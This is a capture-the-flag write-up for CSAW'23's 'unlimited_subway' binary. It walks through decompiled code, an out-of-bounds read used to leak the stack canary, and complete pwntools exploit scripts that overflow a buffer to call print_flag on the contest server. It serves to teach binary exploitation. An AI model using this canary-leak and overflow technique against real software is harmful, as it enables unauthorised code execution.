At the onset of the CTF, we encountered some initial challenges due to GMU’s WiFi filters. These obstacles hindered our access to the remotes, ultimately affecting our performance in this CTF. Nevertheless, we managed to overcome these hurdles and successfully tackled several challenges, with one standout favorite being unlimited_subway
created by 079
.
Unlimited Subway
Description:
Imagine being able to ride the subway for free, forever.
We are given a binary called unlimited_subway
. Running the binary gives us this:
➜ share ./unlimited_subway
=====================================
= =
= Subway Account System =
= =
=====================================
[F]ill account info
[V]iew account info
[E]xit
> F
Data : hi
[F]ill account info
[V]iew account info
[E]xit
> V
Index : 100
Index 100 : 00
[F]ill account info
[V]iew account info
[E]xit
> E
Name Size : 1
Name : 100
```bash
We can see that we have a menu with three options: [F]ill account info, [V]iew account info, and [E]xit.
When we choose [F]ill account info, we are prompted for data. When we choose [V]iew account info, we are prompted for an index. When we choose [E]xit, we are prompted for a name size and then a name.
Lets run checksec:
```bash
➜ pwn checksec unlimited_subway
[*] '/home/user/CTF/share/unlimited_subway'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
We can see that the binary is a 32 bit binary with a stack canary and NX enabled. We’ll have to somehow leak the canary in order to not get an annoying error when we try to overflow the buffer.
Let’s start by looking at the code in Binja:
08049317 int32_t main(int32_t argc, char** argv, char** envp)
08049317 {
08049329 void* gsbase;
08049329 int32_t eax_1 = *(uint32_t*)((char*)gsbase + 0x14);
08049417 int16_t var_8a;
08049417 __builtin_memset(&var_8a, 0, 0x82);
08049420 int32_t var_94 = 0;
0804942a size_t nbytes = 0;
08049434 init();
08049439 while (true)
08049439 {
08049439 print_menu();
08049449 read(0, &var_8a, 2);
0804945a int32_t buf;
0804945a if (var_8a == 'F')
08049458 {
08049461 printf("Data : ", argv);
08049474 read(0, &buf, 0x40);
08049469 }
08049487 else if (var_8a == 'V')
08049485 {
0804948e printf("Index : ", argv);
080494a2 __isoc99_scanf(&data_804a0e9, &var_94);
080494b8 view_account(&buf, var_94);
080494aa }
080494ce else
080494ce {
080494ce if (var_8a == 'E')
080494cc {
080494ce break;
080494ce }
0804952b puts("Invalid choice");
08049526 }
08049526 }
080494d5 printf("Name Size : ", argv);
080494e9 __isoc99_scanf(&data_804a0e9, &nbytes);
080494f6 printf("Name : ");
0804950b int32_t inp1;
0804950b read(0, &inp1, nbytes);
0804951b *(uint32_t*)((char*)gsbase + 0x14);
08049522 if (eax_1 == *(uint32_t*)((char*)gsbase + 0x14))
0804951b {
0804953e return 0;
0804953e }
08049538 __stack_chk_fail();
08049538 /* no return */
08049538 }
We can see that the program calls init()
and then enters a while loop. In the while loop, the program calls print_menu()
and then reads in two bytes. If the first byte is F
, then the program calls printf("Data : ", argv)
and then reads in 64 bytes. If the first byte is V
, then the program calls printf("Index : ", argv)
and then reads in 4 bytes. If the first byte is E
, then the program breaks out of the while loop entering a menu that we’ll end up using later. Otherwise, the program prints Invalid choice
.
After the while loop, the program calls printf("Name Size : ", argv)
and then reads in 4 bytes. Then the program calls printf("Name : ")
and then reads in the number of bytes that we just read in.
Let’s look at the init()
function:
0804921d {
0804922c setvbuf(stdin, nullptr, 2, 0);
08049240 setvbuf(stdout, nullptr, 2, 0);
0804924f signal(0xe, _alarm);
08049259 alarm(0x1e);
08049266 puts("================================…");
08049273 puts("= …");
08049280 puts("= Subway Account System …");
0804928d puts("= …");
080492a4 return puts("================================…");
08049295 }
Nothing too interesting here. The program sets the stdin and stdout buffers, sets a signal handler for SIGALRM
, and then calls alarm(0x1e)
which sets an alarm for 30 seconds, when this alarm runs out of time we get kicked out of the program with > TIME OUT
. After that, the program prints out the menu that we saw earlier.
The print_menu()
function is also pretty simple and just prints out the menu that we saw earlier:
080492ca int32_t print_menu()
080492ca {
080492d2 puts("[F]ill account info");
080492df puts("[V]iew account info");
080492ec puts("[E]xit");
08049303 return printf(&data_804a0ca);
080492f4 }
The view_account()
function, however, is a bit more interesting:
080492a5 int32_t view_account(void* arg1, int32_t arg2)
080492a5 {
080492c9 return printf("Index %d : %02x\n", arg2, ((uint32_t)*(uint8_t*)((char*)arg1 + arg2)));
080492ae }
We can see that the function prints out the value at the index that we passed in. However, there is a vulnerability here, by going negative we can start reading from the stack using negative indexing. Or by going going high enough we can get the canary from the current stack frame.
Let’s look at the menu that we get when we choose E
:
080494d5 printf("Name Size : ", argv);
080494e9 __isoc99_scanf(&data_804a0e9, &nbytes);
080494f6 printf("Name : ");
0804950b int32_t inp1;
0804950b read(0, &inp1, nbytes);
0804951b *(uint32_t*)((char*)gsbase + 0x14);
08049522 if (eax_1 == *(uint32_t*)((char*)gsbase + 0x14))
0804951b {
0804953e return 0;
0804953e }
08049538 __stack_chk_fail();
We can see that the program calls printf("Name Size : ", argv)
. Then the program calls printf("Name : ")
and then reads in the number of bytes that we just read in. Then the program compares the canary that we leaked earlier to the current canary. If they are the same, then the program returns 0. Otherwise, the program calls __stack_chk_fail()
which prints out *** stack smashing detected ***: terminated
and then exits.
We can see that the program doesn’t check the size of the input that we give it, so we can overflow the buffer and overwrite the return address. However, we can’t just overwrite the return address with the address of print_flag()
because of the stack canary. We’ll have to leak the canary and then overwrite the return address with the address of print_flag()
.
Let’s look at the print_flag()
function:
08049304 int32_t print_flag()
08049304 {
08049316 return system("cat ./flag");
08049307 }
We can see that the function calls system("cat ./flag")
which prints out the flag. Now let’s get pwning.
Exploitation
Let’s quickly review what we know:
- Negative Indexing: If arg2 is a negative integer, then (char*)arg1 + arg2 can result in accessing memory before the beginning of the arg1 buffer, potentially causing a segmentation fault or accessing unintended memory.
- Excessive Positive Indexing: If arg2 is too large (greater than or equal to the size of the memory region pointed to by arg1), it could lead to reading past the end of the buffer, resulting in undefined behavior or memory corruption.
- Stack Canary Leak: Using the information from the previous two points, we can leak the stack canary by using negative/positive indexing to read from the stack.
- Buffer Overflow: We can overflow the buffer place, place the stack canary and overwrite the return address with the address of
print_flag()
.
Let’s start by leaking the stack canary. We can do this by using negative indexing to read from the stack. We can use the view_account()
function to do this.
#!/usr/bin/env python3
from pwn import *
exe = ELF("./unlimited_subway_patched", checksec=True)
context.binary = exe
def conn():
if args.LOCAL:
r = process([exe.path])
if args.DEBUG:
gdb.attach(r)
else:
r = remote("pwn.csaw.io", 7900)
return r
def main():
r = conn()
canary = ""
for i in range(1, 5):
r.sendline("V")
r.recvuntil("Index : ")
r.sendline(str(-i))
result = r.recvline().strip().decode()
bits = result.split(": ")[1]
canary += bits
if i < 4:
r.recvuntil("> ")
full_canary = "0x" + canary[:8] # Initial 8 bits
print("Initial 8 bits:", full_canary)
# Continue with more potential canaries from -5 to -200
num = 0
for i in range(5, 201):
r.sendline("V")
r.recvuntil("Index : ")
r.sendline(str(-i))
result = r.recvline().strip().decode()
bits = result.split(": ")[1]
canary += bits
if i % 4 == 0:
full_canary = "0x" + canary[(i // 4 - 1) * 8:i // 4 * 8] # get 4 sets of 2 bits
num += 1
print(f"[{num}] Potential Canary:", full_canary)
r.close()
if __name__ == "__main__":
main()
We can see that we use the view_account()
function to read the canary 2 bits at a time. We can see that we get the first 8 bits of the canary and then we get 2 bits at a time until we get 200 bits. Which gives us 50 potential canaries.
But this is a really inefficient way of doing things, so what we can do is attach our process to gdb, use the canary
command, and compare all of the canaries that we get to the canary that gdb gives us.
[*] '/home/user/CTF/CSAW23/share/unlimited_subway_patched'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
[x] Starting local process '/home/user/CTF/CSAW23/share/unlimited_subway_patched'
[+] Starting local process '/home/user/CTF/CSAW23/share/unlimited_subway_patched': pid 7628
[*] running in new terminal: ['/usr/bin/gdb', '-q', '/home/user/CTF/CSAW23/share/unlimited_subway_patched', '7628', '-x', '/tmp/pwnhflpbmvt.gdb']
[x] Waiting for debugger
[+] Waiting for debugger: Done
Initial 8 bits: 0x0a564b8c
[8] 0x00000000
[12] 0xfffffff4
[16] 0xff81d704
[20] 0xffffffec
[24] 0xff81d5c4
[28] 0x080494bd
[32] 0xff81d648
[36] 0xf7f23ba0
[40] 0x00000000
[44] 0x00000002
[48] 0xff81d5b0
[52] 0x0804a0e9
[56] 0xf7e28620
[60] 0xf7c512d9
[64] 0xff81d648
[68] 0xf7f23ba0
[72] 0x0804bf10
[76] 0xf7e27ff4
[80] 0xf7e27ff4
[84] 0xf7c5bccd
[88] 0x04775600
[92] 0x04775600
[96] 0x04775600
[100] 0xff81d5a0
[104] 0xf7e27ff4
[108] 0x00000006
[112] 0xf7e26a40
[116] 0xf7c7eb8d
[120] 0x00000008
[124] 0x00000003
[128] 0x00000980
[132] 0x00000001
[136] 0xf7e28de7
[140] 0xf7e28da0
[144] 0xf7c7e043
[148] 0xf7e28da0
[152] 0x00000006
[156] 0xf7e28da0
[160] 0xf7c7db9f
[164] 0xff81d5a0
[168] 0xf7e27ff4
[172] 0x0000000a
[176] 0x00000001
[180] 0x0804a0c3
[184] 0x00000654
[188] 0x00000000
[192] 0x00000001
[196] 0xf7e28de7
[200] 0x00000654
[*] Stopped process '/home/user/CTF/CSAW23/share/unlimited_subway_patched' (pid 7628)
And GDB gave us: [+] The canary of process 7628 is at 0xff81d8ab, value is 0x4775600 [8:16 PM]
So we know it’s between -93 and 97.
for i in range(93, 97):
r.sendline("V")
r.recvuntil("Index : ")
r.sendline(str(-i))
result = r.recvline().strip().decode()
bits = result.split(": ")[1]
canary += bits
The canary of process 7985 is at 0xffcc400b, value is 0x8c917300
canary: 0x8c917300
We got the canary.
Now we can overflow the buffer and overwrite the return address with the address of print_flag()
. We can do this using the name size and name inputs.
In my initial approach to leaking the stack canary, I attempted to use negative indexing to read the canary values from the stack. However, we encountered a segmentation fault issue that hindered our progress. While the exact cause of the segmentation fault wasn’t immediately apparent, it was crucial to adapt our strategy to successfully retrieve the canary. To overcome this obstacle, I decided to switch to positive indexing, which allowed us to read the canary bits without encountering the segmentation fault. This shift in our approach underscored the significance of adaptability and flexibility within the realm of binary exploitation. It serves as a reminder that this field often presents unforeseen challenges, demanding quick and pragmatic adjustments to otherwise good tactics.
Now we must find the amount of padding we need. We just did this by sending in A’s and narrowed it down to 64.
To exploit the vulnerability, we construct the payload by sequentially combining elements: ‘garbage’ (typically lots of 'AAAA’s) to fill the buffer, the ‘canary’ to bypass buffer overflow protection, ‘AAAA’ to account for padding and the saved frame pointer, and finally, the address of our print_flag()
.
This image shows the stack layout:
Finally, we can write the exploit:
Solve Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("./unlimited_subway_patched")
context.binary = exe
# Define a function to establish a connection, either local or remote.
def conn():
if args.LOCAL:
r = process([exe.path])
# If debugging is enabled, attach GDB to the local process.
if args.DEBUG:
gdb.attach(r)
else:
# Connect to a remote server.
r = remote("pwn.csaw.io", 7900)
# Return the connection object.
return r
# Define the main function.
def main():
# Establish the connection.
r = conn()
# Initialize the stack canary.
stack_canary = b"\x00"
# Leak the stack canary.
for i in range(3):
r.sendline("V")
input = 129 + i
# Send the input to leak the stack canary.
r.readuntil("Index :")
r.sendline(str(input))
r.readuntil(" : ") # Skip the first line.
# Read the leaked stack canary bits
stack_canary += bytes([int(r.readline(), 16)])
# Print the stack canary.
print(":) Stack canary: ", stack_canary)
# Configure the input for exploitation.
r.sendline("E")
r.recvuntil("Name Size : ")
r.sendline(str(1337))
r.recvuntil('Name : ')
# Set the target address for exploitation.
addr = exe.symbols['print_flag']
# Construct the payload with stack canary. padding and target address.
payload = b'A' * 64 + stack_canary + b'AAAA' + p32(addr)
# Send the payload and enter interactive mode.
r.sendline(payload)
r.interactive()
if __name__ == "__main__":
main()
We get the flag: csawctf{my_n4m3_15_079_4nd_1m_601n6_70_h0p_7h3_7urn571l3}
Conclusion
This was a really fun challenge and I had a good time this weekend playing CSAW’23. I hope you enjoyed reading this write up and learned something new, I definitely enjoyed writing it.
Thanks for reading!